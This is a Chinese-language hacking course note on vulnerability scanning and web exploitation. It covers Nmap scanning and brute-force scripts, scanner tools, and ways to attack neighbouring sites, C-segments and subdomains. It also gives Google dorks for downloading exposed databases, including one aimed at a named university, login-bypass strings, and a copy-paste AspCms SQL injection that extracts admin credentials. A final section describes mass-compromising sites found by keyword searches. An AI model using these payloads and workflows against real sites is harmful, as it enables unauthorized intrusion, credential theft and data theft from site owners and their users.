08 09 10 漏洞分析

常用漏洞分析工具的使用

常见的漏洞分析工具

  • Nmap
  • AWVS
  • Appscan
  • Burpsuite
  • Netsparker
  • Jsky
  • Safe3wvs
  • 椰树
  • M7Lrv

Nmap

  • 主机探测
  • 端口扫描
  • 服务版本扫描
  • 主机系统指纹识别
  • 密码破解
  • 漏洞探测
  • 创建扫描脚本
主机探测 (一)

扫描单个主机 nmap 192.168.1.2

扫描整个子网 nmap 192.168.1.1/24, 探测哪些主机存活

扫描多个目标 nmap 192.168.1.2 192.168.1.5

扫描一个范围内的目标 nmap 192.168.1.1-100, 扫描 这个范围内的所有目标

如果你有一个 IP 地址列表, 将这个列表保存为一个 txt 文件, 和 Nmap 放在同一个

目录下, 扫描这个 txt 内的所有主机, 命令如下 :

nmap -iL target.txt

主机探测 (二)

如果你想看到你扫描的所有主机的列表, 用这个命令 nmap -sL 192.168.1.1/24

扫描除某一个 ip 外的所有子网主机命令 : nmap 192.168.1.1/24 -exclude 192.168.1.1

扫描除某一个文件中的 ip 外的子网主机命令 : nmap 192.168.1.1/24 -excludefile xxx.txt, 这个 xxx.txt 文件中的 ip 会被从结果中排除

端口扫描

常用命令 : nmap -F -sT -v nmap.org

-F : 扫描 100 个最有可能开放的端口

-v : 获取扫描的信息

-sT : 用的是 TCP 扫描, 由于默认采用的就是 TCP 扫描, 所以不写也是可以的

-p 指定要扫描的端口

例如 : nmap -p80,22,23 192.168.6.1

扫描端口的状态

状态详细的参数说明
open端口开启, 数据有到达主机, 有程序在端口上监控
closed端口关闭, 数据有到达主机, 没有程序在端口上监控
Filtered数据没有到达主机, 返回的结果为空, 数据被防火墙或者是 IDS 过滤
Open / Filtered端口没有返回值, 主要发生在 UDP, IP, FIN, NULL 和 Xmas 扫描中
Closed / Filtered只发生在 IP idle 扫描

TCP 扫描 (-sT)
  • 这是一种最为普通的扫描方法, 这种扫描方法的特点是 :
  • 速度快, 准确性高, 对操作者没有权限上的要求
  • 但是容易被防火墙和 IDS (防入侵系统) 发现
  • 运行的原理 : 通过建立 TCP 三次握手连接来进行信息的传递
  • 1.Client 端发送 SYN ;
  • 2.Server 端返回 SYN/ACK, 表明端口开放 ;
  • 3.Client 端返回 ACK, 表明连接已建立 ;
  • 4.Client 端主动断开连接.
SYN 扫描 (-sS)

这是一种秘密的扫描方式之一. 因为在 SYN 扫描中 Client 端和 Server 端没有形成 3 次握手, 所以没有建立一个正常的 TCP 连接, 因此不会被防火墙和日志所记录, 一般不会在目标主机上留下任何痕迹, 但是这种扫描需要 root 权限 (windows 对应管理员权限).

UDP

- 使用 UDP ping 探测主机 : nmap -PU 192.168.1.0/24

- 服务版本探测 : nmap -sV 192.168.1.1

- 精确地确认端口上运行的服务 : nmap -sV --script unusual-port 192.168.1.1

探测目标主机的操作系统

nmap -O 192.168.1.19

nmap -A 192.168.1.19

-oN 导出扫描结果

-oX 导出扫描结果为 xml 格式

密码破解

了解即可, 在线破解我们用的很少

  • 暴力破解 VNC :
nmap --script vnc-brute --script-args \
brute.guesses=6,\
brute.emptypass=true,\
userdb=/root/dictionary/user.txt,\ //指定用户名字典文件brute.useraspass=true,
\passdb=/root/dictionary/pass.txt,\ //指定密码字典文件
brute.retries=3,\
brute.threads=2,\
brute.delay=3 42.96.170.128
  • 破解 telnet :
nmap -p 23 --script telnet-brute --script-args 
\userdb=myusers.lst,
\passdb=mypwds.lst
\--script-args telnet-brute.timeout=8s 192.168.1.1
  • FTP 弱口令暴力破解 :
nmap --script ftp-brute --script-args \
brute.emptypass=true,\
ftp-brute.timeout=30,\
userdb=/root/dictionary/usernames.txt,\ //指定用户名字典文件brute.userpass=true,\passdb=/root/dictionary/passwords.txt,\ //指定密码字典文件brute.threads=3,\
brute.delay=6 192.168.1.1
漏洞探测

了解一下, 一般漏洞探测我们用其它专长的工具

  • HTTP.sys 远程代码执行

nmap -sV --script http-vuln-cve2015-1635 192.168.1.1

  • IIS 短文件泄露

nmap -p 8080 --script http-put.url=/uploads/testput.txt,http-put.file=/root/put.txt 218.19.141.16

  • 拒绝服务

nmap --max-parallelism 800--script http-slowloris www.cracer.com

  • 验证 http 中开启了 put 方法

nmap --script http-put --script-args http-put.url=/uploads/testput.txt,http-put.file=/root/put.txt 218.19.141.16

  • 验证 MySQL 匿名访问

nmap --script mysql-empty-password 203.195.139.153

防火墙躲避绕过
  • -f 分片绕过
  • -D 使用诱饵隐蔽扫描

nmap -D 1.1.1.1,222.222.222.222 www.cracer.com

  • --source-port 源端口欺骗

AWVS

一款网络漏洞扫描工具, 通过网络爬虫来测试网站安全, 检测流行漏洞.

Acunetix 推出了一个具有漏洞的测试网站 : [URL](http://test.vulnweb.com/)

点击 NewScan 来新建一个扫描

扫描完成之后可以点击 report 生成报告

爬虫功能

我们再来看一下爬行功能 : Site Crawler, 你可以在 Scan Settings 中找到爬行选项 Crawling Options.

这些选项功能如下 :

  • 在扫描结束的时候开启 http sniffer, 目的是让用户手动地去浏览, 以免 Crawler 没有爬行到
  • 仅爬行网站首页的所有链接
  • 不抓取上级目录 www
  • 抓取子目录
  • 尝试抓取其他链接 (不全是从首页爬行到的)
  • 处理的文件 robots.txt 和 sitemap.xml
  • 是否忽略文件中的大小写
  • 从每个文件夹中先爬取类似 index.php, default.asp 的文件
  • 防止无限递归目录
  • 如果探测到 URL 重写的话, 警告用户
  • 忽略文件格式 (例如 .js .css等)
  • 防止自定义 404 界面的探测
  • 将 www.domain.com 和 domain.com 视为同一个站
  • 启用这个项目, 如果在一个文件夹中存在超过 20 种写入模式的话, 爬虫只会爬行前 20 个
  • 优化输入已知的应用
SQL 注入

直接把刚才的扫描结果打开, 右键就可以注入

当然注入还是 sqlmap 厉害一些

Netsparker

综合性 web 漏洞扫描工具, 使用方法和 awvs 类似

M7lrvCMS

可以批量扫描漏洞, 但是这个软件有后门, 所以最好放在虚拟机里运行

你可以先用御剑把扫描的 URL 结果导出, 然后再导入到这个工具里

Safe3wvs

Safe 3 Web Vul Scanner 是保护伞网络推出的网站安全性检测工具

这个软件肯定有问题, 因为它会检测虚拟机

Jsky

竭思, 深圳市宇造诺赛科技有限公司的产品, web 漏洞扫描软件

Appscan

使用方法也和 awvs 类似

有些漏洞扫不出来, 你需要多扫几次

这个结果比 awvs 要详细一些, 并且界面还是中文的

Burpsuite

Burpsuite 会在本地搭建一个代理服务器, 然后你在浏览器设置里用上这个代理服务器, 这样你浏览器的数据包就会路过 Burpsuite.

首先配置本机代理, 如果你想抓手机的包, 那你就需要新增一个地址, 然后手机上设置代理服务器, 并填上我们新增的地址.

我们测试一个网站, 可以先向这个网站发送一些爬虫, 这时候你可以看到左边有结果了, 你可以通过上面的过滤选项来把结果过滤掉.

burpsuite 也可以用来爆破密码, 密码字典建议通过自己搜集到的信息来制作.

黑客的迂回 "打法"

如果我们测试的目标没有漏洞怎么办 ?

旁站

通常由于企业或者学校等部门为了节省开支, 经常会把多个网站搭建在一台服务器上, 如果这些网站其中一个网站存在漏洞, 就可能导致其它网站沦陷, 甚至是整个服务器.

旁站就是我们去查找同一台服务器的其它网站的漏洞. 通过测试存在漏洞的站点进一步测试目标站或者服务器.

旁站收集

  • 注意事项 :
  • 由于网站管理员搭建站点的方法不同, 测试人员收集的信息要更加全面
  • 有的管理员喜欢通过端口来搭建多个站点到一个服务器上
  • 也有的喜欢通过不同的域名来搭建多个站点
  • 所以我们在旁站收集中应注意多方向收集
  • IP

常用收集工具

  • 基于域名的旁站收集工具 : 站长工具, 爱站网, 御剑 1.5
  • 基于端口的旁站收集工具 : 站长工具, Nmap, ScanPort
  • 端口的扫描一般基于高位端口

漏洞扫描

当我们搜集到大量旁站信息后, 首先进行数据处理

然后我们通过一些可以批量漏洞扫描的工具进行漏洞扫描

比如 : wvs, 御剑, 椰树, M7lrv 等工具进行目录, 注入, 漏洞, 后台等相关扫描

现在问题来了, 如果目标站没有旁站怎么办 ?

C 段

C 段是一个 IP 地址的概念, 主要是利用 IP 某个段地址, 通过 ARP 协议的利用, 进而达到对目标主机的渗透

C 段测试方法

基于 C 段的测试有两种主流的方法 :

  • 基于站点漏洞的测试
  • 基于服务漏洞的测试

C 段扫描

  • 基于站点的工具 : 御剑 1.5, k8 旁站 3.0
  • 基于端口的工具 : Nmap, Scanport

C 段利用

  • 基于站点漏洞利用方法 :

当我们扫描出 C 段地址中的网站时, 一般站点数量比较多, 我们通常使用的方法是批量查找站点漏洞

常用工具和旁站相同

例如 : wvs, 御剑, 椰树, M7lrv 等工具进行目录, 注入, 漏洞, 后台等相关扫描

  • 基于服务漏洞的利用方法 :

服务密码破解

服务漏洞溢出

子域

我们正常访问的域名通常都是 www.cracer.com, 一般如果一个大站点, 为了从功能上划分和便于管理, 通常会创建不同的站点. 而这些站点可能为 bbs.cracer.com, xss.cracer.com, she.cracer.com, 这些域名我们称之为子域. 这些域名和主站有着千丝万缕的关系, 有的可能后台登录密码, 数据库连接密码相同, 有的可能都在一个服务器上, 或者在同一个网段内. 所以子域也是我们不可忽略的捷径.

子域扫描

常用扫描工具 :

谷歌语法 : site: cracer.com inurl:asp/php/jsp?id=

Layer 3.0 子域发掘器

子域利用

常用利用工具

wvs, 御剑, 椰树, M7lrv

弱漏洞利用方法

网站暴库漏洞

暴库, 就是通过一些技术手段或者程序漏洞得到数据库的地址, 并将数据非法下载到本地. 黑客非常乐意做这种工作, 因为黑客在得到网站数据库后, 就能得到网站管理账号, 对网站进行破坏和管理, 黑客也能通过数据库得到网站用户的隐私信息, 甚至得到服务器的最高权限.

暴库利用方法

inurl:/inc/conn.asp inurl:/inc+conn.aso to parent directory intext:

inurl:/inc/conn.asp

inurl:/inc+conn.asp

to parent directory

所有可以目录浏览的网页都有一些相同的地方, 主要是下面几个 :

to parent directory

last modified Description

转到父目录

而利用谷歌来搜索目录浏览的语法主要有 :

intitle intext

inurl site

file type 等等

搜索域名后缀, 常见的域名后缀有 : com, net, mil, org, info, gov, edu, areo, pro, int, arpa

直接下载复旦大学的数据库 :

intext:to parent directory+intext:mdb site:fudan.edu.cn 时间久远, 漏洞肯定已经被修复, 这里只是说方法

暴库绕过防下载

#sdsf.mdb

下载时改成 :

%23sdsf.mdb

#@!$^&*asdfkladsf@!#.mdb这种名字直接 URL 转码再下载

%23@%21%24%25%2E%26%2aasdfkladsf@%21%23.mdb

高级暴库语法

inurl:./..admin../..add..

inurl:./..admin../..del..

inurl:/.asp<id=<%<%<%

下载漏洞

下载的文件通过变量传递给页面

文件以传参的形式传递给网站, 告诉网站我要下载哪个东西, 我们想下载什么东西的话, 改一下这个参数就可以了

下载漏洞利用

  • 通过蜘蛛爬行
  • 找到该 URL
  • 下载 conn.asp, config.php, config.asp
  • db.mdb

site:cracer.com inurl:down.asp

网站后台密码爆破

为了管理员更方便地管理网站, CMS 通常有管理员后台管理接口, 该接口需要出示管理员账号密码, 正确验证后方可登录

常见后台

常见 CMS 有 : 织梦, discuz, 帝国, phpweb, WordPress, aspcms, 科讯, 南方, 良精, ecshop 等

对于这些 CMS 的默认的管理界面你能说出多少个来 ?

弱口令猜解

管理员为了省事, 可能会忽略掉网站后台密码的安全性

常见初始密码弱口令 : admin, admin888......

逻辑万能密钥 : `or`=`or`, Admin' or 1=1--

黑客字典等等字典生成器

破解工具

  • Burpsuite
  • Discuz破解器
  • 一些 python 密码破解脚本
  • httpfuzzer
  • 针对性破解工具

网站漏洞 EXP 利用

EXP 是 exploit (漏洞利用) 的缩写, 当我们 CMS 出现漏洞的时候针对漏洞原理可以写出针对该漏洞的 exploit, 有的 EXP 可以直接添加管理员, 或者 getshell, 爆出管理员账号密码, 数据库账号密码等等

EXP 利用

主流网站漏洞基本上都有漏洞和 exp

例如织梦, phpcms, strus2, phpweb 等等

EXP 收集

  • 百度
  • 与朋友 py
  • 工具直接 exp

批量检测站点

通常用于某一类型漏洞站点的安全检测

[aspcms各版本漏洞0day集合](https://blog.51cto.com/0daysec/1571383)

直接复制下来 admin/_content/_About/AspCms_AboutEdit.asp?id=19 and 1=2 union select 1,2,3,4,5,loginname,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from aspcms_user where userid=1

用工具包里的 url 采集, 关键字 Powered by AspCms 2.0, 左边引擎全选, 然后点击 开始, 停止 后右键 导出

然后用 M7lrvCMS 导入, 然后右键 开始扫描

我们随便右键打开一个 url 然后把上面的复制到地址后面

有些网站就被爆出来了密码, 这个密码是 MD5 的, 解下密就行了

批量拿站

关键字 :

  • 有限公司--Powered by ASPCMS V2.0
  • Powered by Aspcms2
  • Powered by Aspcms2.0
  • Aspcms2.0
  • Powere

关键字 : inurl:newgoods.asp?action_key_order=news

  • 利用方法 : admin_shopxp/ipLoad_bm.asp
  • 漏洞名称 : phpweb 漏洞

关键字 :

  • inurl:/class/?1.html
  • inurl:class/index.php?catid=0
  • inurl:/page/html/?1.html
  • inurl:news/html/?411.html
  • 默认后台地址 : /admin.php

我们还是可以用我们的 url 采集器, 直接上面复制一个关键字, 采集完成后导出用 M7lrv 工具检测

工具包漏洞利用里面有一个 "良精网站管理系统通杀0day", 里面有各种关键字
当然御剑椰树也可以跑, 功能是一样的